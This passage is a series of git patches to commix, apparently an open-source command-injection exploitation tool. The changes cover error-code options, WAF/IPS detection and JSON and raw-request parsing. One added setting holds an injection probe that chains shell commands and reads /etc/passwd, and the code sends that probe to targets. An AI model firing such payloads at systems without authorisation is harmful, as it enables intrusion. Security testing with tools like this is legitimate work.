settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR or settings.PERFORM_CRACKING: + if int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE or settings.PERFORM_CRACKING: return False else: err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " @@ -373,7 +373,7 @@ def request_failed(err_msg): return False elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ - (menu.options.ignore_code and menu.options.ignore_code in str(error_msg).lower()): + (len(settings.IGNORE_CODE) != 0 and any(str(x) in str(error_msg).lower() for x in settings.IGNORE_CODE)): return False elif settings.IGNORE_ERR_MSG == False: diff --git a/src/utils/menu.py b/src/utils/menu.py index d485ddfbaf..fee84d343b 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -299,7 +299,7 @@ def banner(): action="store", dest="ignore_code", default=False, - help="Ignore (problematic) HTTP error code (e.g. 401).") + help="Ignore (problematic) HTTP error code(s) (e.g. 401).") request.add_option("--force-ssl", action="store_true", diff --git a/src/utils/settings.py b/src/utils/settings.py index 5ed0fb462b..9fc84da8d2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1272,6 +1272,9 @@ class AUTH_TYPE(object): # Abort on (problematic) HTTP error code (e.g. 401). ABORT_CODE = [] +# Ignore on (problematic) HTTP error code (e.g. 401). +IGNORE_CODE = [] + # Default crawling depth DEFAULT_CRAWLING_DEPTH = 1 From e74fe6ed5a2e55ed3d3af7f0cd7724c8112d5173 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 22 Feb 2024 08:39:25 +0200 Subject: [PATCH 0397/1023] Improvement regarding (basic) heuristic detection of WAF/IPS protection. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 31 ++++++++++++++++++++---- src/core/main.py | 6 ++++- src/utils/menu.py | 2 +- src/utils/settings.py | 9 ++++--- 5 files changed, 38 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 7a7a369f16..1ae69bbd09 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding (basic) heuristic detection of WAF/IPS protection. * Revised: Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes. * Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) * Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7e0051c462..9c43ba7826 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -61,6 +61,28 @@ def exit(): print(settings.execution("Ending")) os._exit(0) +""" +Detection of WAF/IPS protection. +""" +def check_waf(url): + payload = _urllib.parse.quote(settings.WAF_CHECK_PAYLOAD) + info_msg = "Checking if the target is protected by some kind of WAF/IPS." + print(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL >= 1: + print(settings.print_payload(payload)) + payload = "".join(random.choices(string.ascii_uppercase, k=4)) + "=" + payload + if not "?" in url: + payload = "?" + payload + else: + payload = settings.PARAMETER_DELIMITER + payload + url = url + payload + if menu.options.data: + settings.USER_DEFINED_POST_DATA = menu.options.data + request = _urllib.request.Request(url, menu.options.data.encode()) + else: + request = _urllib.request.Request(url) + return request, url + """ Check injection technique(s) status. """ @@ -765,17 +787,16 @@ def continue_tests(err): # Ignoring (problematic) HTTP error codes. if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE): return True - + # Possible WAF/IPS/IDS try: if (str(err.code) == settings.FORBIDDEN_ERROR or \ str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ not menu.options.skip_waf and \ not settings.HOST_INJECTION : - # Check if "--skip-waf" option is defined (to skip heuristic detection of WAF/IPS/IDS protection). - settings.WAF_ENABLED = True - warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS." + warn_msg = "It seems that target is protected by some kind of WAF/IPS." print(settings.print_warning_msg(warn_msg)) + settings.WAF_ENABLED = True while True: message = "Do you want to ignore the response HTTP error code '" + str(err.code) @@ -2154,7 +2175,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi pass except IndexError: # print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" + warn_msg = "Some kind of WAF/IPS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) pass diff --git a/src/core/main.py b/src/core/main.py index dcd733cce3..281d67c37d 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -194,7 +194,7 @@ def init_request(url): debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) return request - + """ Get the URL response. """ @@ -219,6 +219,10 @@ def url_response(url): redirect_url = redirection.do_check(request, url, response.geturl()) if redirect_url is not None: url = redirect_url + if not menu.options.skip_waf: + waf_request, waf_url = checks.check_waf(url) + headers.do_check(waf_request) + examine_request(waf_request, waf_url) return response, url """ diff --git a/src/utils/menu.py b/src/utils/menu.py index fee84d343b..679a0a636a 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -606,7 +606,7 @@ def banner(): action="store_true", dest="skip_waf", default=False, - help="Skip heuristic detection of WAF/IPS/IDS protection.") + help="Skip heuristic detection of WAF/IPS protection.") misc.add_option("--mobile", action="store_true", diff --git a/src/utils/settings.py b/src/utils/settings.py index 9fc84da8d2..0a011da2ae 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -311,6 +311,10 @@ def sys_argv_errors(): CMD_NUL = "" +# Maybe a WAF/IPS protection. +WAF_CHECK_PAYLOAD = "cat /etc/passwd|uname&&ping -c3 localhost;ls ../" +WAF_ENABLED = False + class HEURISTIC_TEST(object): POSITIVE = True @@ -985,9 +989,6 @@ class OS(object): URIPATH = "/" SRVPORT = 8080 -# Maybe a WAF/IPS/IDS protection. -WAF_ENABLED = False - # Session Handler SESSION_FILE = "" LOAD_SESSION = None From 2efefe28fc71df8827223761776907400d0d2f90 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 23 Feb 2024 08:44:40 +0200 Subject: [PATCH 0398/1023] Minor update --- src/core/main.py | 10 +++++----- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 281d67c37d..a7de6d7c5f 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -157,8 +157,6 @@ def check_internet(url): The init (URL) request. """ def init_request(url): - # Check connection(s) - checks.check_connection(url) # Number of seconds to wait before timeout connection if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP timeout." @@ -193,6 +191,8 @@ def init_request(url): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) + # Check connection(s) + checks.check_connection(url) return request """ @@ -206,12 +206,12 @@ def url_response(url): settings.TOR_CHECK_AGAIN = False # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 - if settings.INIT_TEST == True: - info_msg = "Testing connection to the target URL. " - print(settings.print_bold_info_msg(info_msg)) request = init_request(url) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False + if settings.INIT_TEST == True: + info_msg = "Testing connection to the target URL. " + print(settings.print_bold_info_msg(info_msg)) response = examine_request(request, url) # Check for URL redirection if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a011da2ae..4eab06f738 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 72f612938768c276abbe38e94b3f6a4275558e04 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 26 Feb 2024 09:30:41 +0200 Subject: [PATCH 0399/1023] Minor update --- src/core/requests/requests.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 48e4066293..41fa83d33e 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -96,11 +96,11 @@ def estimate_response_time(url, timesec): except _urllib.error.HTTPError as err: ignore_start = time.time() + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) if settings.UNAUTHORIZED_ERROR in str(err) and int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: pass else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) err_msg = "Unable to connect to the target URL" try: err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." diff --git a/src/utils/settings.py b/src/utils/settings.py index 4eab06f738..b11fe850db 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From da366da3e5fad8ba53075cc30f05ec509d964763 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 29 Feb 2024 09:23:12 +0200 Subject: [PATCH 0400/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/e74fe6ed5a2e55ed3d3af7f0cd7724c8112d5173 --- src/core/injections/controller/checks.py | 2 +- src/core/main.py | 2 ++ src/core/requests/requests.py | 4 +++- src/utils/settings.py | 3 ++- 4 files changed, 8 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9c43ba7826..18a92f0d90 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -788,7 +788,7 @@ def continue_tests(err): if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE): return True - # Possible WAF/IPS/IDS + # Possible WAF/IPS try: if (str(err.code) == settings.FORBIDDEN_ERROR or \ str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ diff --git a/src/core/main.py b/src/core/main.py index a7de6d7c5f..2364279bf1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -220,9 +220,11 @@ def url_response(url): if redirect_url is not None: url = redirect_url if not menu.options.skip_waf: + settings.WAF_DETECTION_PHASE = True waf_request, waf_url = checks.check_waf(url) headers.do_check(waf_request) examine_request(waf_request, waf_url) + settings.WAF_DETECTION_PHASE = False return response, url """ diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 41fa83d33e..442201a737 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -316,7 +316,9 @@ def request_failed(err_msg): return False elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - if int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE or settings.PERFORM_CRACKING: + if int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE or \ + settings.PERFORM_CRACKING or \ + settings.WAF_DETECTION_PHASE: return False else: err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " diff --git a/src/utils/settings.py b/src/utils/settings.py index b11fe850db..b6ff8acfa6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -400,6 +400,7 @@ class OS(object): DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~") # Detection / Exploitation phase(s) +WAF_DETECTION_PHASE = False DETECTION_PHASE = False EXPLOITATION_PHASE = False From b271b96262bd7481754a64f6f20342cf0f32a4fe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 1 Mar 2024 08:30:34 +0200 Subject: [PATCH 0401/1023] Minor update --- src/core/injections/controller/checks.py | 8 ++++---- src/core/requests/headers.py | 2 +- src/utils/purge.py | 2 +- src/utils/settings.py | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 18a92f0d90..c76b1c4c61 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -229,7 +229,7 @@ def alert(): try: process = subprocess.Popen(menu.options.alert, shell=True) process.wait() - except Exception as ex: + except Exception as e: err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'." print(settings.print_error_msg(err_msg)) @@ -363,7 +363,7 @@ def load_cmd_history(): def get_value_inside_boundaries(value): try: value = re.search(settings.VALUE_BOUNDARIES, value).group(1) - except Exception as ex: + except Exception as e: pass return value @@ -435,7 +435,7 @@ def PCRE_e_modifier(parameter, http_request_method): else: common.invalid_option(modifier_check) pass - except Exception as ex: + except Exception as e: pass return parameter @@ -671,7 +671,7 @@ def check_injection_level(): if any(x in menu.options.test_parameter for x in settings.HTTP_HEADERS): menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - except Exception as ex: + except Exception as e: return diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index cc603342e4..d328e5d8b5 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -233,7 +233,7 @@ def https_open(self, req): if err.fp is None: raise AttributeError page = checks.page_encoding(err, action="encode") - except Exception as ex: + except Exception as e: page = '' print_http_response(err.info(), err.code, page) diff --git a/src/utils/purge.py b/src/utils/purge.py index 50b7e8d887..9d01169288 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -157,7 +157,7 @@ def purge(): failed = False os.chdir(os.path.join(directory, "..")) shutil.rmtree(directory) - except OSError as ex: + except OSError as e: failed = True if not failed: print(settings.SINGLE_WHITESPACE) diff --git a/src/utils/settings.py b/src/utils/settings.py index b6ff8acfa6..b5ae1f112d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From eefa0c16c05109b6dee7d0bad6448b8a69c09f5f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 4 Mar 2024 08:10:29 +0200 Subject: [PATCH 0402/1023] Fixes https://github.com/commixproject/commix/issues/893 --- src/core/requests/parameters.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 3f0fc84805..68bb00c03e 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -374,7 +374,7 @@ def vuln_POST_param(parameter, url): except Exception: pass settings.TESTABLE_VALUE = vuln_parameter[0].split(":")[1] - vuln_parameter = ''.join(result) + vuln_parameter = ''.join(result) # XML data format. elif settings.IS_XML: From 4b7b6034298d0a11d719700a28cc404ad0af5427 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Mar 2024 09:08:09 +0200 Subject: [PATCH 0403/1023] Code refactoring regarding parsing JSON objects --- src/core/injections/controller/checks.py | 21 ++++---------------- src/core/requests/parameters.py | 25 +++++++++++------------- src/utils/settings.py | 5 +++-- 3 files changed, 18 insertions(+), 33 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c76b1c4c61..fa0ded0afe 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1718,19 +1718,8 @@ def is_empty(multi_parameters, http_request_method): for empty in multi_params: try: if settings.IS_JSON: - try: - param = re.sub("[^/()A-Za-z0-9.:,_]+", '', str(multi_params[empty])) - if "(" and ")" in param: - param = re.findall(r'\((.*)\)', param) - for value in param[0].split(","): - if value.split(":")[1] == "": - empty_parameters.append(value.split(":")[0]) - elif len(str(multi_params[empty])) == 0 : - empty_parameters.append(empty) - except TypeError: - # warn_msg = "The provided value for parameter '" + str(empty) + "' seems unusable." - # print(settings.print_warning_msg(warn_msg)) - pass + if len(str(multi_params[empty])) == 0 : + empty_parameters.append(empty) elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE: @@ -1738,7 +1727,7 @@ def is_empty(multi_parameters, http_request_method): elif len(empty.split("=")[1]) == 0: empty_parameters.append(empty.split("=")[0]) except IndexError: - if not settings.IS_XML: + if not settings.IS_XML and not settings.IS_JSON: err_msg = "No parameter(s) found for testing in the provided data." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1804,9 +1793,7 @@ def check_quotes_json_data(data): def is_JSON_check(parameter): try: json_object = json.loads(parameter) - if re.search(settings.JSON_RECOGNITION_REGEX, parameter) or \ - re.search(settings.JSON_LIKE_RECOGNITION_REGEX, parameter): - return True + return True except ValueError as err_msg: _ = False if "Expecting" in str(err_msg) and any(_ in str(err_msg) for _ in ("value", "delimiter")): diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 68bb00c03e..9a509474f7 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -204,7 +204,7 @@ def do_POST_check(parameter, http_request_method): def multi_params_get_value(param, all_params): if settings.IS_JSON: value = re.findall(r'\:(.*)', all_params[param]) - value = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value)) + value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', ''.join(value)) elif settings.IS_XML: value = re.findall(r'>(.*) Date: Fri, 15 Mar 2024 07:54:19 +0200 Subject: [PATCH 0404/1023] Improvement regarding parsing JSON nested objects --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 8 +- src/core/requests/parameters.py | 106 ++++++++++++++++---- src/thirdparty/flatten_json/flatten_json.py | 4 +- src/utils/settings.py | 4 +- 5 files changed, 98 insertions(+), 25 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1ae69bbd09..70393986ae 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding parsing JSON nested objects. * Revised: Improvement regarding (basic) heuristic detection of WAF/IPS protection. * Revised: Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes. * Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index fa0ded0afe..e8601e7636 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -92,6 +92,12 @@ def injection_techniques_status(): else: return True +""" +Check for quoted values +""" +def quoted_value(value): + return '"{}"'.format(value) + """ Check for custom injection marker (*) """ @@ -1792,7 +1798,7 @@ def check_quotes_json_data(data): # Check if valid JSON def is_JSON_check(parameter): try: - json_object = json.loads(parameter) + json_object = json.loads(parameter.replace(settings.INJECT_TAG,"")) return True except ValueError as err_msg: _ = False diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 9a509474f7..db7ea6486c 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -16,11 +16,14 @@ import re import os import sys +import json from src.utils import menu from src.utils import settings from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list +from src.thirdparty.odict import OrderedDict """ Get the URL part of the defined URL. @@ -204,7 +207,15 @@ def do_POST_check(parameter, http_request_method): def multi_params_get_value(param, all_params): if settings.IS_JSON: value = re.findall(r'\:(.*)', all_params[param]) - value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', ''.join(value)) + if not value: + value = all_params[param] + value = ''.join(value) + if value.endswith("\"}"): + value = (value[:-len("}")]) + if checks.quoted_value(value) and any(_ in "[]{}" for _ in value): + value = value.replace("\"","") + else: + value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', value) elif settings.IS_XML: value = re.findall(r'>(.*)(.*) Date: Tue, 19 Mar 2024 07:50:27 +0200 Subject: [PATCH 0405/1023] Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option) --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 7 ++-- src/core/injections/controller/parser.py | 45 ++++++++---------------- src/utils/settings.py | 2 +- 4 files changed, 22 insertions(+), 33 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 70393986ae..a2e7891495 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Improvement regarding parsing JSON nested objects. * Revised: Improvement regarding (basic) heuristic detection of WAF/IPS protection. * Revised: Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e8601e7636..e3c19d0491 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1724,8 +1724,11 @@ def is_empty(multi_parameters, http_request_method): for empty in multi_params: try: if settings.IS_JSON: - if len(str(multi_params[empty])) == 0 : - empty_parameters.append(empty) + try: + if len(str(multi_params[empty])) == 0 : + empty_parameters.append(empty) + except TypeError: + pass elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE: diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 620a20415c..84ca9ad1af 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -72,20 +72,26 @@ def invalid_data(request): raise SystemExit() try: - if menu.options.requestfile: - with open(request_file, 'r') as file: - settings.RAW_HTTP_HEADERS = [line.strip() for line in file] - settings.RAW_HTTP_HEADERS = [header for header in settings.RAW_HTTP_HEADERS if header] - settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] - settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] - settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS) - if os.stat(request_file).st_size != 0: with open(request_file, 'r') as file: request = file.read() else: invalid_data(request_file) + if menu.options.requestfile: + c = 1 + request_headers = [] + request_lines = request.split("\n") + while c < len(request_lines) and len(request_lines[c]) > 0: + x = request_lines[c].find(':') + header_name = request_lines[c][:x] + header_value = request_lines[c][x + 1:] + request_headers.append(header_name + ": " + header_value) + c += 1 + c += 1 + menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else invalid_data(request_file)) + settings.RAW_HTTP_HEADERS = '\\n'.join(request_headers) + except IOError as err_msg: error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." @@ -108,28 +114,7 @@ def invalid_data(request): request = request.replace("\\n","\n") request_url = re.findall(r"" + " (.*) HTTP/", request) - if request_url: - try: - # Check empty line for POST data. - if len(request.splitlines()[-2]) == 0: - result = [item for item in request.splitlines() if item] - multiple_xml = [] - for item in result: - if checks.is_XML_check(item): - multiple_xml.append(item) - if len(multiple_xml) != 0: - menu.options.data = '\n'.join([str(item) for item in multiple_xml]) - else: - menu.options.data = result[len(result)-1] - else: - # Check if url ends with "=". - if request_url[0].endswith("="): - request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) - except IndexError: - invalid_data(request_file) - - # Check if invalid data - else: + if not request_url: invalid_data(request_file) request_url = "".join([str(i) for i in request_url]) diff --git a/src/utils/settings.py b/src/utils/settings.py index 44210f01ac..e25675c656 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2da779705ca05745c4bc13d026391d6ecf131690 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 20 Mar 2024 07:13:37 +0200 Subject: [PATCH 0406/1023] Minor update --- src/core/injections/controller/checks.py | 10 +++++++--- src/core/injections/controller/controller.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e3c19d0491..f1b289411c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1848,13 +1848,17 @@ def inappropriate_format(multi_parameters): def check_similarities(all_params): if settings.IS_JSON: try: + _ = "".join(random.choices(string.ascii_uppercase, k=6)) all_params = ','.join(all_params) json_data = json.loads(all_params, object_pairs_hook=OrderedDict) all_params = flatten(json_data) for param in all_params: - if type(all_params[param]) is str and all_params[param] in param: - all_params[param] = all_params[param] + settings.RANDOM_TAG - all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")] + if isinstance(all_params[param], str): + if all_params[param] in param: + all_params[param] = all_params[param] + settings.RANDOM_TAG + if settings.SINGLE_WHITESPACE in all_params[param]: + all_params[param] = all_params[param].replace(settings.SINGLE_WHITESPACE, _) + all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(_ ,settings.SINGLE_WHITESPACE) for x in json.dumps(all_params).split(", ")] except Exception as e: pass else: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index be5634fd4c..15bc29545c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -588,7 +588,7 @@ def post_request(url, http_request_method, filename, timesec): found_parameter_list.append(found_parameter) found_parameter = found_parameter_list - if settings.IS_XML: + if settings.IS_XML or settings.IS_JSON: # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] else: diff --git a/src/utils/settings.py b/src/utils/settings.py index e25675c656..f9b8419c8c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From df7b0f77dfc13295d0dd085403b6b3ea9ea044d7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 21 Mar 2024 08:58:36 +0200 Subject: [PATCH 0407/1023] Minor update --- src/core/injections/controller/controller.py | 8 +++----- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 15bc29545c..d02e50ea77 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -297,7 +297,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER = "" if not header_name == "Cookie" and not the_type == "HTTP header": settings.CHECKING_PARAMETER = str(http_request_method) - settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] if header_name == "Cookie" : settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) else: @@ -366,10 +366,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # All injection techniques seems to be failed! if checks.injection_techniques_status() == False: - warn_msg = "The tested" - if header_name != " cookie" and the_type != " HTTP header": - warn_msg += " " + str(http_request_method) + "" - warn_msg += str(the_type) + str(header_name) + str(check_parameter) + warn_msg = "The tested " + warn_msg += settings.CHECKING_PARAMETER warn_msg += " does not seem to be injectable." print(settings.print_bold_warning_msg(warn_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index f9b8419c8c..047cf6d9c7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f26a8670f8e8b71f146eb8c4887e13f4ae9b25c8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Mar 2024 09:12:32 +0200 Subject: [PATCH 0408/1023] Minor update --- src/core/injections/controller/checks.py | 10 ++++------ src/core/requests/parameters.py | 7 +++---- src/utils/settings.py | 2 +- 3 files changed, 8 insertions(+), 11 deletions(-) diff --git 